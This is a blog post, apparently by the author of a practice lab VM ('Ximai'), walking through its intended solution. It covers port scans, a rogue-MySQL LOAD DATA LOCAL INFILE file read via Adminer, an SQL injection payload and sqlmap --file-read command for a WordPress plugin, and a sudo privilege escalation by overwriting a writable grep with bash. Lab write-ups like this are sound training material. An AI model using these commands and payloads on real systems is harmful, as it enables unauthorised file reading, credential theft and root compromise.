banner
言心吾

言心吾のBlog

吾言为心声

Ximai靶机出題復盤

初期アクセス#

└─# rustscan -a `IP` -- -sCV -Pn -n                              
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
現代のポートスキャナー。
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TreadStoneがここにいました 🚀

[~] 設定ファイルは "/root/.rustscan.toml" にあることが期待されています
[!] ファイル制限がデフォルトのバッチサイズよりも低いです。--ulimitで増やすことを検討してください。敏感なサーバーに害を及ぼす可能性があります
[!] あなたのファイル制限は非常に小さく、RustScanの速度に悪影響を与えています。Dockerイメージを使用するか、'--ulimit 5000'でUlimitを上げてください。
192.168.56.62:22を開く
192.168.56.62:80を開く
192.168.56.62:3306を開く
192.168.56.62:8000を開く
[~] スクリプトを開始しています
[>] スクリプト "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sCV -Pn -n" をIP 192.168.56.62で実行中
スクリプトの複雑さに応じて、結果が表示されるまでに時間がかかる場合があります。
[~] Nmap 7.95を2025-05-31 15:36 CSTに開始
NSE: スキャン用に157のスクリプトを読み込みました。
NSE: スクリプトの事前スキャン中。
NSE: レベル1(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.00秒
NSE: レベル2(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.00秒
NSE: レベル3(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.00秒
15:36にARP Pingスキャンを開始
192.168.56.62をスキャン中 [1ポート]
15:36にARP Pingスキャンが完了、経過時間0.05秒(合計ホスト数1)
15:36にSYNステルススキャンを開始
192.168.56.62をスキャン中 [4ポート]
192.168.56.62でオープンポート22/tcpを発見
192.168.56.62でオープンポート80/tcpを発見
192.168.56.62でオープンポート3306/tcpを発見
192.168.56.62でオープンポート8000/tcpを発見
15:36にSYNステルススキャンが完了、経過時間0.03秒(合計ポート数4)
15:36にサービススキャンを開始
192.168.56.62で4つのサービスをスキャン中
15:36にサービススキャンが完了、経過時間12.46秒(1ホスト上の4サービス)
NSE: スクリプトが192.168.56.62をスキャン中。
NSE: レベル1(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間2.60秒
NSE: レベル2(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.13秒
NSE: レベル3(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.00秒
192.168.56.62のNmapスキャンレポート
ホストはアップしており、arp応答を受信しました(レイテンシ0.00074秒)。
2025-05-31 15:36:20 CSTに15秒間スキャンしました

ポート     状態 サービス 理由         バージョン
22/tcp   オープン  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (プロトコル 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp   オープン  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Ubuntu デフォルトページ: 動作しています
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods: 
|_  サポートされているメソッド: GET POST OPTIONS HEAD
3306/tcp オープン  mysql   syn-ack ttl 64 MariaDB 10.3.23 またはそれ以前(未認証)
8000/tcp オープン  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-open-proxy: プロキシがリクエストをリダイレクトしている可能性があります
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods: 
|_  サポートされているメソッド: GET HEAD POST OPTIONS
|_http-generator: WordPress 6.8.1
|_http-title: NeonGrid Solutions
MACアドレス: 08:00:27:DD:A7:DA (PCS Systemtechnik/Oracle VirtualBox仮想NIC)
サービス情報: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: スクリプトのポストスキャン中。
NSE: レベル1(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.00秒
NSE: レベル2(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.00秒
NSE: レベル3(3のうち)のスキャンを開始しています。
15:36にNSEを開始
15:36にNSEが完了、経過時間0.00秒
データファイルを読み込み中: /usr/share/nmap
サービス検出が実行されました。誤った結果があれば https://nmap.org/submit/ に報告してください。
Nmap完了: 1 IPアドレス(1ホストアップ)が15.70秒でスキャンされました
           生パケット送信: 5 (204B) | 受信: 5 (204B)

22, 80, 3306, 8000 の 4 つのポートが開放され、80 と 8000 は web、22 は ssh、3306 は Mysql です。

もちろん、3306 ポートは開放されていますが、接続を試みると「煙幕」で接続できません。

80 - web#

dirsearch を使ってスキャンできます
/info.php
/adminer.php

次に、gobuster を使って medium 辞書で深くスキャンすると、もう一つの
/reminder.php が見つかりました。

reminder.php#

image

ユーザー名 jimmy を取得しました。

ウェブページの中央の画像の URL は:http://192.168.56.62/that-place-where-i-put-that-thing-that-time/1b260614-3aff-11f0-ac81-000c2921b441.jpg

このパスに行くと、/etc/jimmy.txtに creds ファイルがあることがわかります。

image

image

文脈から判断すると、この jimmy.txt には jimmy ユーザーのパスワードが隠されている可能性が高いです!私たちの核心目標は、このファイルを読み取る方法を見つけることです。

また、ページの下部には SQL インジェクションの可能性があるようです。
image

しかし、いくつかのシングルクォートを多く入力しようとすると、奇数でも偶数でもエラーが出ることがわかります。これは通常とは少し異なります!通常、シングルクォートが奇数個の場合にエラーが出るはずですが、偶数の場合は出ないため、これは私が残したトラップです。

とはいえ、SQL インジェクションを通じてファイルを読み取るのは良いアイデアです。他の場所にも「真の」インジェクションポイントがあるかもしれません。

adminer.php#

次に /adminer.php を見てみましょう。
image

image

Adminer は軽量なデータベース管理ツールで、これを使って任意のデータベースに接続できます。しかし、この Adminer は最新バージョンで、既知の脆弱性はありません。データベースの資格情報がない限り、しばらくはこれを脇に置いておきます。結局のところ、「巧婦は米がなければ炊けない」ですから。

8000 - web#

8000 ポートをスキャンすると、wordpress.local というドメインが見つかり、/etc/hosts に追加してアクセスします。

最新バージョンの wordpress が見つかり、特に手を加えていません。

ある記事がヒントを与えており、このヒントは実際には 2 つの利用方法に対応しています。
image

mysqli.allow_local_infile = on は非常に興味深いです:
mysqli.allow_local_infile は、PHP で LOAD DATA INFILE ステートメントを使用してローカルファイルシステムから MySQL データベースにデータをロードすることを許可するかどうかを制御する設定です。つまり、データベース接続を制御できれば、この機能を利用してターゲットマシン上の任意のファイルを読み取り、私たちのデータベースに書き込むことができます!

考えが明確になったので、すぐに行動に移します!Kali 攻撃機上に MySQL データベースを設定し、Adminer を通じて「データベースハイジャック」を行い、ターゲットマシンのファイルを「運び」ます。

まず、Kali の MySQL 設定ファイル /etc/mysql/mariadb.conf.d/50-server.cnf を編集し、bind-address = 127.0.0.1bind-address = 0.0.0.0 に変更します。これにより、私たちのデータベースが外部からの接続を受け入れることができるようになります。その後、サービスを起動します。

次に、Adminer インターフェースから Kali 上のデータベースに接続します。

image

次に、以下の SQL コマンドを実行します:

image

-- データを保存するためのテーブルを作成
CREATE TABLE exploit (
    data TEXT
);
-- ローカルinfile構文を使用してターゲットファイルをロード
LOAD DATA LOCAL INFILE '/etc/jimmy.txt' INTO TABLE exploit 
FIELDS TERMINATED BY "\n";

-- 結果を照会
select * from exploit;

これでパスワード HandsomeHU を取得できます。

詳細な利用プロセスについては、こちらの記事を参考にしてください:https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f

もちろん、ここで「ネタバレ」しますが、最新バージョンの adminer ではこの操作は許可されていません。成功したのは、私がソースコードを変更したためです:$this->options(MYSQLI_OPT_LOCAL_INFILE,true)

上記は標準的な解法です。難易度を下げるために、SQL インジェクションの脆弱性を持つ WordPress プラグインも残しておきました。

wpscan を使うとスキャンが遅くなるかもしれませんが、nuclei を使うとすぐに結果が得られます。非常に便利です:

nuclei -u http://wordpress.local:8000

image

CVE-2025-2011 POC をダウンロードし、何度も試しましたが、効果がありませんでした。この POC は壊れています。

└─$ python3 52285.py -u http://wordpress.local:8000
╔════════════════════════════════════════════════════════════════╗
║ CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 ║
║ By datagoboom ║
╚════════════════════════════════════════════════════════════════╝
[*] ターゲットURL: http://wordpress.local:8000
[+] ターゲットに正常に接続しました
[*] ターゲットが脆弱かどうかを確認しています...
[-] ターゲットは脆弱ではないようです
[*] ブラウザで手動で確認してみてください:
http://wordpress.local:8000/wp-admin/admin-ajax.php?s=test%' AND
EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=D
ESC&sources=&action=depicter-lead-index
[-] ターゲットは脆弱ではないようです。終了します。

脆弱性を分析すると、注入ポイントはadmin-ajax.php?s=test*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-indexです。
それで sqlmap を使います。

本来、ファイルを読み取るために SQL インジェクションを利用するつもりでした。

sqlmap -u 'http://wordpress.local:8000/wp-admin/admin-ajax.php?s=t*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index' --batch --file-read=/etc/jimmy.txt

image

つまり、どの道を通ってもローマにたどり着けます。もちろん、wp-configファイルを読み取ってデータベースのパスワードを取得し、Adminer を通じてデータベースに接続し、WordPress の管理者パスワードを変更してバックエンドに入ることもできます。それもまた一つの道です:)

権限昇格#

jimmy#

ssh で jimmy ユーザーにログインします。環境変数が改ざんされており、多くのコマンドが直接実行できないことに気づきますが、これは私たちには難しくありません。絶対パスでコマンドを実行すれば回避できます。解決方法はいくつかあります。例えば、自分で export PATH を設定するか、.bashrc の変更された行を削除するか、直接 .bashrc を削除することもできます。
image

ローカルには 2 つのユーザー:adminer と jimmy があります。

wp-config ファイルで adminer ユーザーのパスワードを見つけました。もちろん、mysql データベースのパスワードもあります。
image

ここで面白いのは、wordpress の adminer ユーザーとシステムの adminer ユーザーのパスワードが再利用されていることです。

adminer#

adminer はパスワードなしで /usr/bin/grep を実行できます。

su adminer
adminer@Ximai:/var/www/wordpress$ sudo -l
Ximai上のadminerに対する一致するデフォルトエントリ:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
ユーザーadminerはXimai上で次のコマンドを実行できます:
(ALL) NOPASSWD: /usr/bin/grep
adminer@Ximai:/var/www/wordpress$ sudo /usr/bin/grep ' ' /root/root.txt
申し訳ありませんが、このコマンドを使用することは制限されています。代わりにegrepを試してください。

この grep は明らかに改ざんされています:

jimmy@Ximai:/var/www/wordpress$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp:/snap/bin
jimmy@Ximai:/var/www/wordpress$ file /usr/bin/grep
/usr/bin/grep: ASCII text
jimmy@Ximai:/var/www/wordpress$ ls -l /usr/bin/grep
-rwxr-xrwx 1 root root 76 May 28 09:06 /usr/bin/grep
jimmy@Ximai:/var/www/wordpress$ cat /usr/bin/grep
echo '申し訳ありませんが、このコマンドを使用することは制限されています。代わりにegrepを試してください。'
jimmy@Ximai:/var/www/wordpress$ 

書き込み権限があることがわかったので、cp /bin/bash /usr/bin/grepで上書きすれば大丈夫です。

結論#

この靶機は全体的に easy から medium の難易度だと思います。Web 部分にはデータベース / SQL に関連する 2 つの入口を残しましたが、難易度はそれほど高くありません。もちろん、靶機内には冗長なものが多く、細心の注意を払って列挙し、忍耐強く「砂の中から金を探す」必要があります。

権限昇格部分は比較的簡単で、主に注意深さが求められます。大体こんな感じです。私が作った靶機があなたに何かを得る手助けになれば幸いです。また、コメント欄での意見交換も歓迎します!

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。